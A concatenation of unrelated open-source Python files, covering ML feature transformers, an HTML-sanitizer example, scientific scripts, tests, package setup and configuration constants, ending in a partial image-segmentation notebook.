"""Numeric features transformers.""" from typing import Union import numpy as np from ..dataset.base import LAMLDataset from ..dataset.np_pd_dataset import NumpyDataset from ..dataset.np_pd_dataset import PandasDataset from ..dataset.roles import CategoryRole from ..dataset.roles import NumericRole from .base import LAMLTransformer # type - something that can be converted to pandas dataset NumpyTransformable = Union[NumpyDataset, PandasDataset] def numeric_check(dataset: LAMLDataset): """Check if all passed vars are categories. Args: dataset: Dataset to check. Raises: AssertionError: If there is non number role. """ roles = dataset.roles features = dataset.features for f in features: assert roles[f].name == "Numeric", "Only numbers accepted in this transformer" class NaNFlags(LAMLTransformer): """Create NaN flags. Args: nan_rate: Nan rate cutoff. """ _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "nanflg" def __init__(self, nan_rate: float = 0.005): self.nan_rate = nan_rate def fit(self, dataset: NumpyTransformable): """Extract nan flags. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: self. """ # set transformer names and add checks for check_func in self._fit_checks: check_func(dataset) # set transformer features # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # fit ... ds_nan_rate = np.isnan(data).mean(axis=0) self.nan_cols = [name for (name, nan_rate) in zip(dataset.features, ds_nan_rate) if nan_rate > self.nan_rate] self._features = list(self.nan_cols) return self def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Transform - extract null flags. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() nans = dataset[:, self.nan_cols].data # transform new_arr = np.isnan(nans).astype(np.float32) # create resulted output = dataset.empty().to_numpy() output.set_data(new_arr, self.features, NumericRole(np.float32)) return output class FillnaMedian(LAMLTransformer): """Fillna with median.""" _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "fillnamed" def fit(self, dataset: NumpyTransformable): """Estimate medians. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: self. """ # set transformer names and add checks super().fit(dataset) # set transformer features # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data self.meds = np.nanmedian(data, axis=0) self.meds[np.isnan(self.meds)] = 0 return self def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Transform - fillna with medians. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform data = np.where(np.isnan(data), self.meds, data) # create resulted output = dataset.empty().to_numpy() output.set_data(data, self.features, NumericRole(np.float32)) return output class FillInf(LAMLTransformer): """Fill inf with nan to handle as nan value.""" _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "fillinf" def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Replace inf to nan. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform data = np.where(np.isinf(data), np.nan, data) # create resulted output = dataset.empty().to_numpy() output.set_data(data, self.features, NumericRole(np.float32)) return output class LogOdds(LAMLTransformer): """Convert probs to logodds.""" _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "logodds" def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Transform - convert num values to logodds. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform # TODO: maybe np.exp and then cliping and logodds? data = np.clip(data, 1e-7, 1 - 1e-7) data = np.log(data / (1 - data)) # create resulted output = dataset.empty().to_numpy() output.set_data(data, self.features, NumericRole(np.float32)) return output class StandardScaler(LAMLTransformer): """Classic StandardScaler.""" _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "scaler" def fit(self, dataset: NumpyTransformable): """Estimate means and stds. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: self. """ # set transformer names and add checks super().fit(dataset) # set transformer features # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data self.means = np.nanmean(data, axis=0) self.stds = np.nanstd(data, axis=0) # Fix zero stds to 1 self.stds[(self.stds == 0) | np.isnan(self.stds)] = 1 return self def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Scale test data. Args: dataset: Pandas or Numpy dataset of numeric features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform data = (data - self.means) / self.stds # create resulted output = dataset.empty().to_numpy() output.set_data(data, self.features, NumericRole(np.float32)) return output class QuantileBinning(LAMLTransformer): """Discretization of numeric features by quantiles. Args: nbins: maximum number of bins. """ _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "qntl" def __init__(self, nbins: int = 10): self.nbins = nbins def fit(self, dataset: NumpyTransformable): """Estimate bins borders. Args: dataset: Pandas or Numpy dataset of numeric features. Returns: self. """ # set transformer names and add checks super().fit(dataset) # set transformer features # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data sl = np.isnan(data) grid = np.linspace(0, 1, self.nbins + 1)[1:-1] self.bins = [] for n in range(data.shape[1]): q = np.quantile(data[:, n][~sl[:, n]], q=grid) q = np.unique(q) self.bins.append(q) return self def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Apply bin borders. Args: dataset: Pandas or Numpy dataset of numeric features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform sl = np.isnan(data) new_data = np.zeros(data.shape, dtype=np.int32) for n, b in enumerate(self.bins): new_data[:, n] = np.searchsorted(b, np.where(sl[:, n], np.inf, data[:, n])) + 1 new_data = np.where(sl, 0, new_data) # create resulted output = dataset.empty().to_numpy() output.set_data(new_data, self.features, CategoryRole(np.int32, label_encoded=True)) return output
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bleach__examples__remove_tags__clear_html/escape_protocols.py
DazEB2/SimplePyScripts
117
33414
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' # SOURCE: https://github.com/mozilla/bleach # SOURCE: https://bleach.readthedocs.io/en/latest/clean.html#allowed-protocols-protocols # pip install bleach import bleach # List of allowed protocols print('List of allowed protocols:', bleach.sanitizer.ALLOWED_PROTOCOLS) # ['http', 'https', 'mailto'] print( bleach.clean( '<a href="smb://more_text">allowed protocol</a>' ) ) # <a>allowed protocol</a> print( bleach.clean( '<a href="smb://more_text">allowed protocol</a>', protocols=['http', 'https', 'smb'] ) ) # <a href="smb://more_text">allowed protocol</a> print( bleach.clean( '<a href="smb://more_text">allowed protocol</a>', protocols=bleach.ALLOWED_PROTOCOLS + ['smb'] ) ) # <a href="smb://more_text">allowed protocol</a>
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Ankit Khandelwal_HW2/exercise 11/exercise 11c.py
ankit27kh/Computational-Physics-PH354
0
179095
<reponame>ankit27kh/Computational-Physics-PH354<gh_stars>0 # -*- coding: utf-8 -*- """ Created on Mon Feb 10 20:31:35 2020 @author: <NAME> """ from math import * import matplotlib.pyplot as plt import numpy as np import pandas as pd stm = pd.read_csv("stm.txt", sep=' ', header=None) xv = np.linspace(0, 473, 474) yv = np.linspace(0, 675, 676) Ex = np.zeros((676, 474)) Ey = np.zeros((676, 474)) for i in yv: for j in xv: if j == 473: continue i1 = int(i) j1 = int(j) if pd.isnull(stm[i1][j1 + 1]) or pd.isnull(stm[i1][j1]): continue Ex[i1][j1] = (stm[i1][j1 + 1] - stm[i1][j1]) / 2.5 for j in xv: for i in yv: if i1 == 675: continue i1 = int(i) j1 = int(j) if pd.isnull(stm[i1 + 1][j1]) or pd.isnull(stm[i1][j1]): continue Ey[i1][j1] = (stm[i1 + 1][j1] - stm[i1][j1]) / 2.5 Intensity = np.zeros((676, 474)) for i in yv: for j in xv: i1 = int(i) j1 = int(j) if pd.isnull(Ex[i1][j1]) or pd.isnull(Ey[i1][j1]): continue Intensity[i1][j1] = (cos(radians(45)) * Ex[i1][j1] + sin(degrees(45)) * Ey[i1][j1]) / ( sqrt(Ex[i1][j1] ** 2 + Ey[i1][j1] ** 2) + 1) plt.imshow(Intensity.transpose(), cmap='Blues') plt.title("Silicon Surface") plt.show()
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mcache/tests/common.py
frmengel/integrations-core
0
127559
<gh_stars>0 # (C) Datadog, Inc. 2010-2017 # All rights reserved # Licensed under Simplified BSD License (see LICENSE) PORT = 11211 SERVICE_CHECK = 'memcache.can_connect'
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smdebug/core/locations.py
aaronmarkham/sagemaker-debugger
0
148855
# Standard Library import os import re from abc import ABC, abstractmethod # Local from .logger import get_logger from .utils import get_immediate_subdirectories logger = get_logger() class TensorLocation: def __init__(self, tname, mode, mode_step, event_file_name, start_idx, length, worker): self.tensorname = tname self.mode = mode self.mode_step = int(mode_step) self.event_file_name = event_file_name self.start_idx = start_idx self.length = length self.worker = worker def to_dict(self): return {"tensorname": self.tensorname, "start_idx": self.start_idx, "length": self.length} class TensorShape: def __init__(self, name, mode, mode_step, shape, original_name=None): self.name = name self.original_name = original_name if original_name is not None else name self.mode = mode self.mode_step = mode_step self.shape = tuple(shape) def to_dict(self): return {"tensorname": self.name, "originalname": self.original_name, "shape": self.shape} STEP_NUMBER_FORMATTING_LENGTH = "012" class EventFileLocation(ABC): def __init__(self, step_num, worker_name): self.step_num = int(step_num) self.worker_name = worker_name self.type = None def get_step_num_str(self): return str(format(self.step_num, STEP_NUMBER_FORMATTING_LENGTH)) def get_filename(self): step_num_str = self.get_step_num_str() event_filename = f"{step_num_str}_{self.worker_name}.tfevents" return event_filename @classmethod def match_regex(cls, s): return cls.load_filename(s, print_error=False) @classmethod def load_filename(cls, s, print_error=True): event_file_name = os.path.basename(s) m = re.search("(.*)_(.*).tfevents$", event_file_name) if m: step_num = int(m.group(1)) worker_name = m.group(2) return cls(step_num=step_num, worker_name=worker_name) else: if print_error: logger.error("Failed to load efl: ", s) return None @abstractmethod def get_file_location(self): pass class TensorFileLocation(EventFileLocation): def __init__(self, step_num, worker_name): super().__init__(step_num, worker_name) self.type = "events" @staticmethod def get_dir(trial_dir): return os.path.join(trial_dir, "events") def get_file_location(self, trial_dir=""): if trial_dir: event_key_prefix = self.get_dir(trial_dir) else: event_key_prefix = self.type return os.path.join(event_key_prefix, self.get_step_num_str(), self.get_filename()) @classmethod def get_step_dirs(cls, trial_dir): return get_immediate_subdirectories(cls.get_dir(trial_dir)) @classmethod def get_step_dir_path(cls, trial_dir, step_num): step_num = int(step_num) return os.path.join(cls.get_dir(trial_dir), format(step_num, STEP_NUMBER_FORMATTING_LENGTH)) class TensorboardFileLocation(EventFileLocation): def __init__(self, step_num, worker_name, mode=None): super().__init__(step_num, worker_name) self.mode = mode self.type = "tensorboard" def get_file_location(self, base_dir=""): # when base_dir is empty it just returns the relative file path if base_dir: event_key_prefix = os.path.join(base_dir, self.mode.name) else: event_key_prefix = os.path.join(self.type, self.mode.name) return os.path.join(event_key_prefix, self.get_filename()) class IndexFileLocationUtils: # These functions are common to index reader and index writer MAX_INDEX_FILE_NUM_IN_INDEX_PREFIX = 1000 @staticmethod def get_index_prefix_for_step(step_num): index_prefix_for_step = ( step_num // IndexFileLocationUtils.MAX_INDEX_FILE_NUM_IN_INDEX_PREFIX ) return format(index_prefix_for_step, "09") @staticmethod def next_index_prefix_for_step(step_num): index_prefix_for_step = ( step_num // IndexFileLocationUtils.MAX_INDEX_FILE_NUM_IN_INDEX_PREFIX ) return format(index_prefix_for_step + 1, "09") @staticmethod def _get_index_key(trial_prefix, step_num, worker_name): index_prefix_for_step_str = IndexFileLocationUtils.get_index_prefix_for_step(step_num) step_num_str = format(step_num, "012") index_filename = format(f"{step_num_str}_{worker_name}.json") index_key = os.path.join(trial_prefix, "index", index_prefix_for_step_str, index_filename) return index_key # for a step_num index files lies # in prefix step_num/MAX_INDEX_FILE_NUM_IN_INDEX_PREFIX @staticmethod def get_index_key_for_step(trial_prefix, step_num, worker_name): return IndexFileLocationUtils._get_index_key(trial_prefix, step_num, worker_name) @staticmethod def get_step_from_idx_filename(index_file_name): i = index_file_name.find("_") k = index_file_name[i + 1 :].find("_") step_num_str = index_file_name[i + 1 : i + 1 + k] return int(step_num_str) @staticmethod def parse_step_from_index_file_name(index_file_name): # 10 = prefix/index/000000000/000000000010_worker.json' # 10 = prefix/index/000000000/000000000010_worker_EVAL.json' base_file_name = os.path.basename(index_file_name) step = int(base_file_name.split("_")[0]) return step @staticmethod def get_index_path(path): return os.path.join(path, "index") @staticmethod def get_prefix_from_index_file(index_file: str) -> str: """ The function returns the filepath prefix before 'index/' in the the index_file names. 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setup.py
olorin/prettyqr
2
146761
""" prettyqr https://github.com/olorin/prettyqr """ from setuptools import setup, find_packages from codecs import open from os import path here = path.abspath(path.dirname(__file__)) with open(path.join(here, "README.rst"), encoding="utf-8") as f: desc = f.read() setup( name="prettyqr", version="0.0.2", description="Create QR codes merged with images.", long_description=desc, url="https://github.com/olorin/prettyqr", author="<NAME>", author_email="<EMAIL>", license="MIT", classifiers=[ "Development Status :: 3 - Alpha", "Intended Audience :: Developers", "Topic :: Multimedia :: Graphics", "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", ], keywords="qrcode image", packages=find_packages(exclude=["tests"]), install_requires=[ "pillow>=3.2", "qrcode>=5.3", ], entry_points={ "console_scripts": [ "prettyqr=prettyqr.cli:main", ], }, )
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test/indexing_test.py
IceCube-SPNO/BoostNumpy
6
190593
# # $Id$ # # Copyright (C) # 2014 - $Date$ # <NAME> <<EMAIL>> # 2010-2012 # <NAME>, <NAME> # # This file implements tests for indexing functionalities of the # boost::numpy::ndarray class. # # This file is distributed under the Boost Software License, # Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at # http://www.boost.org/LICENSE_1_0.txt). # import indexing_test_module import unittest import numpy as np class TestIndexing(unittest.TestCase): def test_single(self): x = np.arange(0,10) for i in range(0,10): self.assertEqual(indexing_test_module.single(x,i), i) for i in range(-10,0): self.assertEqual(indexing_test_module.single(x,i),10+i) def test_slice(self): x = np.arange(0,10) sl = slice(3,8) v = np.array([3,4,5,6,7]) self.assertTrue((indexing_test_module.slice(x, sl) == v).all()) def test_step_slice(self): x = np.arange(0,10) sl = slice(3,8,2) v = np.array([3,5,7]) self.assertTrue((indexing_test_module.slice(x, sl) == v).all()) def test_index_array(self): x = np.arange(0,10) v = np.array([3,4,5,6]) self.assertTrue((indexing_test_module.index_array(x, v) == v).all()) v = np.array([[0,1],[2,3]]) self.assertTrue((indexing_test_module.index_array(x, v) == v).all()) v = np.array([5,6,7,8,9]) self.assertTrue((indexing_test_module.index_array(x, x>4) == v).all()) def test_index_array_2d(self): x = np.arange(0,9).reshape(3,3) idxarr1 = np.array([0,1]) idxarr2 = np.array([0,2]) v = np.array([0,5]) self.assertTrue((indexing_test_module.index_array_2d(x, idxarr1, idxarr2) == v).all()) def test_index_array_slice(self): x = np.arange(0,9).reshape(3,3) idxarr = np.array([0,2]) sl = slice(1,3) v = np.array([[1,2],[7,8]]) self.assertTrue((indexing_test_module.index_array_slice(x, idxarr, sl) == v).all()) if(__name__ == "__main__"): unittest.main()
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starfish/pipeline/filter/white_tophat.py
joshmoore/starfish
0
38144
import numpy as np from ._base import FilterAlgorithmBase class WhiteTophat(FilterAlgorithmBase): """ Performs "white top hat" filtering of an image to enhance spots. "White top hat filtering" finds spots that are both smaller and brighter than their surroundings. See Also -------- https://en.wikipedia.org/wiki/Top-hat_transform """ def __init__(self, disk_size, **kwargs): """Instance of a white top hat morphological masking filter which masks objects larger than `disk_size` Parameters ---------- disk_size : int diameter of the morphological masking disk in pixels """ self.disk_size = disk_size @classmethod def add_arguments(cls, group_parser): group_parser.add_argument( "--disk-size", default=15, type=int, help="diameter of morphological masking disk in pixels") def filter(self, stack) -> None: """Perform in-place filtering of an image stack and all contained aux images Parameters ---------- stack : starfish.Stack Stack to be filtered """ from scipy.ndimage.filters import maximum_filter, minimum_filter from skimage.morphology import disk def white_tophat(image): if image.dtype.kind != "u": raise TypeError("images should be stored in an unsigned integer array") structuring_element = disk(self.disk_size) min_filtered = minimum_filter(image, footprint=structuring_element) max_filtered = maximum_filter(min_filtered, footprint=structuring_element) filtered_image = image - np.minimum(image, max_filtered) return filtered_image stack.image.apply(white_tophat) # apply to aux dict too. for auxiliary_image in stack.auxiliary_images.values(): auxiliary_image.apply(white_tophat)
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venv/lib/python3.8/site-packages/azureml/_model_management/_constants.py
amcclead7336/Enterprise_Data_Science_Final
0
144786
<reponame>amcclead7336/Enterprise_Data_Science_Final # --------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # --------------------------------------------------------- MMS_WORKSPACE_API_VERSION = '2018-11-19' MMS_ROUTE_API_VERSION = 'v1.0' MMS_SYNC_TIMEOUT_SECONDS = 80 MMS_SERVICE_VALIDATE_OPERATION_TIMEOUT_SECONDS = 30 MMS_SERVICE_EXIST_CHECK_SYNC_TIMEOUT_SECONDS = 5 MMS_RESOURCE_CHECK_SYNC_TIMEOUT_SECONDS = 15 SUPPORTED_RUNTIMES = { 'spark-py': 'SparkPython', 'python': 'Python', 'python-slim': 'PythonSlim' } UNDOCUMENTED_RUNTIMES = ['python-slim'] CUSTOM_BASE_IMAGE_SUPPORTED_RUNTIMES = { 'python': 'PythonCustom' } WORKSPACE_RP_API_VERSION = '2019-06-01' MAX_HEALTH_CHECK_TRIES = 30 HEALTH_CHECK_INTERVAL_SECONDS = 1 DOCKER_IMAGE_TYPE = "Docker" UNKNOWN_IMAGE_TYPE = "Unknown" WEBAPI_IMAGE_FLAVOR = "WebApiContainer" ACCEL_IMAGE_FLAVOR = "AccelContainer" IOT_IMAGE_FLAVOR = "IoTContainer" UNKNOWN_IMAGE_FLAVOR = "Unknown" CLOUD_DEPLOYABLE_IMAGE_FLAVORS = [WEBAPI_IMAGE_FLAVOR, ACCEL_IMAGE_FLAVOR] SUPPORTED_CUDA_VERSIONS = ["9.0", "9.1", "10.0"] ARCHITECTURE_AMD64 = "amd64" ARCHITECTURE_ARM32V7 = "arm32v7" ACI_WEBSERVICE_TYPE = "ACI" AKS_WEBSERVICE_TYPE = "AKS" AKS_ENDPOINT_TYPE = "AKSENDPOINT" SERVICE_REQUEST_OPERATION_CREATE = "Create" SERVICE_REQUEST_OPERATION_UPDATE = "Update" SERVICE_REQUEST_OPERATION_DELETE = "Delete" AKS_ENDPOINT_DELETE_VERSION = "deleteversion" AKS_ENDPOINT_CREATE_VERSION = "createversion" AKS_ENDPOINT_UPDATE_VERSION = "updateversion" COMPUTE_TYPE_KEY = "computeType" LOCAL_WEBSERVICE_TYPE = "Local" UNKNOWN_WEBSERVICE_TYPE = "Unknown" CLI_METADATA_FILE_WORKSPACE_KEY = 'workspaceName' CLI_METADATA_FILE_RG_KEY = 'resourceGroupName' MODEL_METADATA_FILE_ID_KEY = 'modelId' IMAGE_METADATA_FILE_ID_KEY = 'imageId' DOCKER_IMAGE_HTTP_PORT = 5001 DOCKER_IMAGE_MQTT_PORT = 8883 RUN_METADATA_EXPERIMENT_NAME_KEY = '_experiment_name' RUN_METADATA_RUN_ID_KEY = 'run_id' PROFILE_METADATA_CPU_KEY = "cpu" PROFILE_METADATA_MEMORY_KEY = "memoryInGB" PROFILE_PARTIAL_SUCCESS_MESSAGE = 'Model Profiling operation completed, but encountered issues ' +\ 'during execution: %s Inspect ModelProfile.error property for more information.' PROFILE_FAILURE_MESSAGE = 'Model Profiling operation failed with the following error: %s Request ID: %s. ' +\ 'Inspect ModelProfile.error property for more information.' DATASET_SNAPSHOT_ID_FORMAT = '/datasetId/{dataset_id}/datasetSnapshotName/{dataset_snapshot_name}' DOCKER_IMAGE_APP_ROOT_DIR = '/var/azureml-app' IOT_WEBSERVICE_TYPE = "IOT" MIR_WEBSERVICE_TYPE = "MIR" MODEL_PACKAGE_ASSETS_DIR = 'azureml-app' MODEL_PACKAGE_MODELS_DIR = 'azureml-models' # Kubernetes namespaces must be valid lowercase DNS labels. # Ref: https://github.com/kubernetes/community/blob/master/contributors/design-proposals/architecture/identifiers.md NAMESPACE_REGEX = '^[a-z0-9]([a-z0-9-]{,61}[a-z0-9])?$' WEBSERVICE_SCORE_PATH = '/score' WEBSERVICE_SWAGGER_PATH = '/swagger.json' ALL_WEBSERVICE_TYPES = [ACI_WEBSERVICE_TYPE, AKS_ENDPOINT_TYPE, AKS_WEBSERVICE_TYPE, IOT_WEBSERVICE_TYPE, MIR_WEBSERVICE_TYPE] HOW_TO_USE_ENVIRONMENTS_DOC_URL = "https://docs.microsoft.com/azure/machine-learning/how-to-use-environments" # Blob storage allows 10 minutes/megabyte. Add a bit for overhead, and to make sure we don't give up first. # Ref: https://docs.microsoft.com/en-us/rest/api/storageservices/setting-timeouts-for-blob-service-operations ASSET_ARTIFACTS_UPLOAD_TIMEOUT_SECONDS_PER_BYTE = 1.1 * (10 * 60) / (1000 * 1000)
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nezzle/graphics/__init__.py
dwgoon/nezzle
2
118518
<filename>nezzle/graphics/__init__.py<gh_stars>1-10 from nezzle.graphics.baseitem import MappableGraphicsItem from nezzle.graphics.baseitem import PainterOptionItem from nezzle.graphics.nodes.nodefactory import NodeClassFactory from nezzle.graphics.nodes.basenode import BaseNode from nezzle.graphics.nodes.ellipsenode import EllipseNode from nezzle.graphics.nodes.ellipsenode import CircleNode from nezzle.graphics.nodes.rectanglenode import RectangleNode from nezzle.graphics.arrows.arrowclassfactory import ArrowClassFactory from nezzle.graphics.arrows.basearrow import Triangle from nezzle.graphics.arrows.basearrow import Hammer from nezzle.graphics.edges.edgefactory import EdgeClassFactory from nezzle.graphics.edges.baseedge import BaseEdge from nezzle.graphics.edges.straightedge import StraightEdge from nezzle.graphics.edges.curvededge import CurvedEdge from nezzle.graphics.edges.elbowedge import VerticalElbowEdge from nezzle.graphics.edges.elbowedge import HorizontalElbowEdge from nezzle.graphics.edges.selfloopedge import SelfloopEdge from nezzle.graphics.labels.labelfactory import LabelClassFactory from nezzle.graphics.labels.textlabel import TextLabel from nezzle.graphics.network import Network from nezzle.graphics.screen import GraphicsScene from nezzle.graphics.screen import GraphicsView
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mbc1b/hdl/run.py
Gekkio/sm83-research
8
185289
<gh_stars>1-10 #!/usr/bin/env python3 # SPDX-FileCopyrightText: 2022 <NAME> <<EMAIL>> # # SPDX-License-Identifier: MIT OR Apache-2.0 from vunit import VUnit import toml source_files = [ 'cells/*.vhd', 'generated/*.vhd', 'mbc1b_tb.vhd', ] ui = VUnit.from_argv() ui.enable_location_preprocessing() ui.enable_check_preprocessing() lib = ui.add_library("mbc1b") lib.add_source_files(source_files) def create_vhdl_ls_config(f, source_files): libraries = {} for file in ui.get_source_files(allow_empty = True): files = libraries.setdefault(f'{file.library.name}', {'files': []}) files['files'].append(file.name) libraries['mbc1b'] = {'files': source_files} toml.dump({'libraries': libraries}, f) with open('vhdl_ls.toml', mode='w') as f: create_vhdl_ls_config(f, source_files) ui.main()
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inqbus.lidar.components/src/inqbus/lidar/components/params.py
sandrarum/inqbus.lidar
0
152970
<reponame>sandrarum/inqbus.lidar # Params change with every run of the application and will be changed by the UI MEASUREMENT_ID = '' COMMENT = 'preliminary data' SONDE_NAME = '2015083012lin.txt' OVL_FILES = ['15083000_607.dat'] POLLY_FILES = ['2015_05_01_Fri_DWD_00_03_31.nc']
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src/pydap/responses/version.py
Juanlu001/pydap
83
94532
<reponame>Juanlu001/pydap<filename>src/pydap/responses/version.py """Response with information about pydap version.""" import sys from six import text_type from webob import Response from json import dumps from pkg_resources import iter_entry_points from ..lib import __version__, __dap__ class VersionResponse(object): """A specialized response for debugging. This is a special response used to display information about the server. """ __version__ = __version__ def __init__(self, dataset): output = { "pydap": __version__, "dap": __dap__, "handlers": dict( (ep.name, getattr(ep.load(), "__version__", "Unknown")) for ep in iter_entry_points("pydap.handler") ), "responses": dict( (ep.name, getattr(ep.load(), "__version__", "Unknown")) for ep in iter_entry_points("pydap.response") ), "functions": dict( (ep.name, getattr(ep.load(), "__version__", "Unknown")) for ep in iter_entry_points("pydap.function") ), "python": sys.version, } self.body = dumps(output, indent=4) def __call__(self, environ, start_response): res = Response() res.text = text_type(self.body) res.status = '200 OK' res.content_type = 'application/json' res.charset = 'utf-8' res.headers.add('Content-description', 'dods_version') res.headers.add('XDODS-Server', 'pydap/%s' % __version__) return res(environ, start_response)
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neuroptica/settings.py
bendavidsteel/neuroptica
161
184365
import numba import numpy as np NP_COMPLEX = np.complex128 NUMBA_COMPLEX = numba.complex128 NP_FLOAT = np.float64 NUMBA_FLOAT = numba.float64
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tests/micropython/heapalloc_exc_compressed.py
andihoff98/micropython
2
30391
<filename>tests/micropython/heapalloc_exc_compressed.py import micropython # Tests both code paths for built-in exception raising. # mp_obj_new_exception_msg_varg (exception requires decompression at raise-time to format) # mp_obj_new_exception_msg (decompression can be deferred) # NameError uses mp_obj_new_exception_msg_varg for NameError("name '%q' isn't defined") # `raise 0` uses mp_obj_new_exception_msg for TypeError("exceptions must derive from BaseException") # Tests that deferred decompression works both via print(e) and accessing the message directly via e.args. # First test the regular case (can use heap for allocating the decompression buffer). try: name() except NameError as e: print(type(e).__name__, e) try: raise 0 except TypeError as e: print(type(e).__name__, e) try: name() except NameError as e: print(e.args[0]) try: raise 0 except TypeError as e: print(e.args[0]) # Then test that it still works when the heap is locked (i.e. in ISR context). micropython.heap_lock() try: name() except NameError as e: print(type(e).__name__) try: raise 0 except TypeError as e: print(type(e).__name__) micropython.heap_unlock()
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Pregunta 6.py
gmagannaDevelop/ImagenesTercerParcial
0
190143
<reponame>gmagannaDevelop/ImagenesTercerParcial #!/usr/bin/env python # coding: utf-8 # # Pregunta 6 # (2 puntos) La imagen Ex3Preg6(a).tif muestra una imagen tomada con un microscopio de cultivo de bacterias identificadas por los círculos intensos: # # a. (0.5 puntos) Usando una técnica de umbralización global, segmente la imagen y muestre el resultado de la segmetnación. # # b. (0.5 puntos) A la imagenoriginal se le aplicó una umbralización con valores locales yal resultado se le realizó una apertura morbológica obteniendo la imagen Ex3Preg6(b).tif. Usando esta imagen,cuente y etiquete cuantos objetos de la segmentación pueden considerarse células independientes. # # c. (1 punto) Continuando con la imagen anterior. Cuente y etiquete cuantos objetos de la segmentación pueden considerarse 2 células agrupadas, y cuantos y cuales más de 2 células. # In[2]: # Annotations from typing import Tuple, List, Callable, NoReturn, Any, Optional # Functional programing tools : from functools import partial, reduce from itertools import chain # Visualisation : import matplotlib.pyplot as plt import matplotlib.image as pim import matplotlib.patches as mpatches import seaborn as sns # Data tools : import numpy as np import pandas as pd # Image processing : import cv2 as cv from scipy import ndimage as ndi import skimage from skimage import data import skimage.segmentation as seg from skimage.filters import threshold_otsu from skimage.segmentation import clear_border from skimage.measure import label, regionprops from skimage.morphology import closing, square from skimage.color import label2rgb from skimage.morphology import watershed from skimage.feature import peak_local_max # Machine Learning : from sklearn.cluster import KMeans # Jupyter reimport utils : import importlib # In[3]: # Custom : import mfilt_funcs as mfs importlib.reload(mfs) import mfilt_funcs as mfs import utils importlib.reload(utils) import utils # In[4]: # Being lazy : lmap = lambda x, y: list(map(x, y)) lfilter = lambda x, y: list(filter(x, y)) # In[5]: def segplot( img: np.ndarray, group: skimage.measure._regionprops.RegionProperties, color: Optional[str] = None, title: Optional[str] = None ) -> NoReturn: """ """ if not color: color = 'red' fig, ax = plt.subplots(figsize=(9, 9)) ax.imshow(imgb2c, cmap='gray') for region in group: minr, minc, maxr, maxc = region.bbox rect = mpatches.Rectangle((minc, minr), maxc - minc, maxr - minr, fill=False, edgecolor=color, linewidth=2) ax.add_patch(rect) if title: plt.title(title) plt.tight_layout() plt.show() ## def image_show(image, nrows=1, ncols=1, cmap='gray', **kwargs): """ Taken from : https://github.com/gmagannaDevelop/skimage-tutorials/blob/master/lectures/4_segmentation.ipynb """ fig, ax = plt.subplots(nrows=nrows, ncols=ncols, figsize=(16, 16)) ax.imshow(image, cmap='gray') ax.axis('off') return fig, ax ## def watershed_viz(image, distance, labels): """ Constructed from the example found in : https://scikit-image.org/docs/dev/auto_examples/segmentation/plot_watershed.html """ fig, axes = plt.subplots(ncols=3, figsize=(9, 3), sharex=True, sharey=True) ax = axes.ravel() ax[0].imshow(image, cmap=plt.cm.gray) ax[0].set_title('Overlapping objects') ax[1].imshow(-distance, cmap=plt.cm.gray) ax[1].set_title('Distances') ax[2].imshow(labels, cmap=plt.cm.nipy_spectral) ax[2].set_title('Separated objects') for a in ax: a.set_axis_off() fig.tight_layout() plt.show() ## def ez_watershed(image: np.ndarray, footprint: Optional[np.array] = None, **kw) -> Tuple[int, int, int]: """ """ distance = ndi.distance_transform_edt(image) if footprint is not None: fp = footprint else: fp = np.ones((10, 10)) local_maxi = peak_local_max( distance, indices=False, footprint=np.ones((10, 10)), labels=image, **kw ) markers = ndi.label(local_maxi)[0] labels = watershed(-distance, markers, mask=image) return markers, distance, labels ## # In[6]: #plt.style.available # In[7]: plt.style.use('seaborn-deep') plt.rcParams['figure.figsize'] = (10, 5) # In[8]: img = cv.imread('imagenes/Ex3Preg6(a).tif', cv.IMREAD_GRAYSCALE) color = cv.cvtColor(img, cv.COLOR_GRAY2RGB) # Color copy, to draw colored circles # ## a. (0.5 puntos) Usando una técnica de umbralización global, segmente la imagen y muestre el resultado de la segmetnación. # In[9]: intensities = pd.core.frame.DataFrame(dict(intensity=img.flatten())) # In[10]: sns.distplot(intensities, kde=False, rug=True, bins=10) # In[11]: kmeans = KMeans(n_clusters=2, random_state=0, verbose=False).fit(intensities) K = int(kmeans.cluster_centers_.mean()) # 